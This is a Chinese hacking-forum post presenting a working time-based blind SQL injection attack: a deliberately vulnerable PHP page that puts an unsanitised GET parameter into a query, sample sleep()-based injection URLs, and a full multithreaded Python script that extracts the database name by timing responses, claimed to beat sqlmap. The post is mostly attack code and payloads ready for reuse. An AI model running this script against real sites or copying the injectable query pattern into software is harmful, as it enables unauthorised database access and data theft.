突破延时注入的时间限制-python篇-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

突破延时注入的时间限制-python篇

[复制链接]
发表于 2017-4-5 16:19:07 | 显示全部楼层 |阅读模式
延时注入php演示源码
  1. <?php
  2.         $link= mysql_connect("localhost","root","root");
  3.         mysql_select_db("test",$link);
  4.         $sql= "select name from cms where id='{$_GET['id']}'";
  5.         echo $sql;
  6.         mysql_query($sql);
  7. ?>
复制代码
获取数据库长度
http://www.nvhack.com/sql/sql.php?id=1'  and if(length(database()) = 4, sleep(2),1)--+
开始判断数据库字符
http://www.nvhack.com/sql/sql.php?id=1'  and if(ascii(substring(database(),1,1)) = 116, sleep(2),1)--+代码如下


  1. # -*- coding: utf-8 -*-
  2. import requests
  3. import threading
  4. import datetime

  5. # 公用函数获取数据库,版本,用户名的的长度,参数getType为,user(),database(),version(),
  6. length = 0
  7. def loadDataPublicLength(url,i,getType,afterstr):
  8.         if isTrue(url + ' and if(length('+ getType +') = ' + str(i)+ ', sleep(2),1)'+afterstr):
  9.                 print('得到结果,长度为:'+ str(i))
  10.                 global length
  11.                 length = i
  12.                 getName()

  13. # 公用函数获取名字,参数getType为,user(),database(),version(),
  14. nameStr = {}
  15. def loadDataPublicName(url, i,getType,afterstr):
  16.         min = 32
  17.         max = 127
  18.         while True:
  19.                 center = int((min + max) / 2)
  20.                 if isTrue(url + ' and if(ascii(substring('+ getType +',' + str(i) + ',1)) > ' + str(center) +', sleep(2),1)'+ afterstr):
  21.                         min = center
  22.                         continue
  23.                 if isTrue(url + ' and if(ascii(substring('+ getType +',' + str(i) + ',1)) < ' + str(center) +', sleep(2),1)'+ afterstr):
  24.                         max = center
  25.                         continue
  26.                 if isTrue(url + ' and if(ascii(substring('+ getType +',' + str(i) + ',1)) = ' + str(center) +', sleep(2),1)'+ afterstr):
  27.                         global nameStr
  28.                         nameStr[i-1]=chr(center)
  29.                         #print(nameStr)
  30.                         break
  31.         print(nameStr.values())

  32. # 判断是否正确,如果正确返回true
  33. def isTrue(urlStr):
  34.         print(urlStr)
  35.         starttime = datetime.datetime.now()      # 开始请求URL时间
  36.         re = requests.get(urlStr).content.decode('utf8')
  37.         endtime = datetime.datetime.now()        # 请求完毕时间
  38.         res = (endtime - starttime).seconds
  39.         if int(res) >= 2:
  40.                 return True
  41.         else:
  42.                 return False
  43. #################获取长度
  44. def getLength():
  45.         threads1 = []
  46.         for j in range(1,20):
  47.                 t = threading.Thread(target=loadDataPublicLength,args=(url,j,getType,afterstr,))
  48.                 threads1.append(t)
  49.         for t1 in threads1:
  50.                 #t.setDaemon(True)
  51.                 t1.start()
  52.         t1.join()
  53. ################获取名字的线程,线程数取决于获取数据的长度
  54. def getName():
  55.         threads2 = []
  56.         for j in range(1,length+1):
  57.                 t = threading.Thread(target=loadDataPublicName,args=(url,j,getType,afterstr,))
  58.                 threads2.append(t)
  59.         for t2 in threads2:
  60.                 t2.start()
  61.         t2.join()

  62. if __name__ == '__main__':
  63.         url = 'http://www.nvhack.com/sql/sql.php?id=1\' '   # 延时注入报错网址
  64.         afterstr = '--+'                                    # 是否需要注释符号,不用为空
  65.         getType = 'database()'

  66.         getLength()


复制代码

# 获取长度仅需几秒
1.png

# 获取名字数据库名字,要比SQLmap快很多
2.png




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表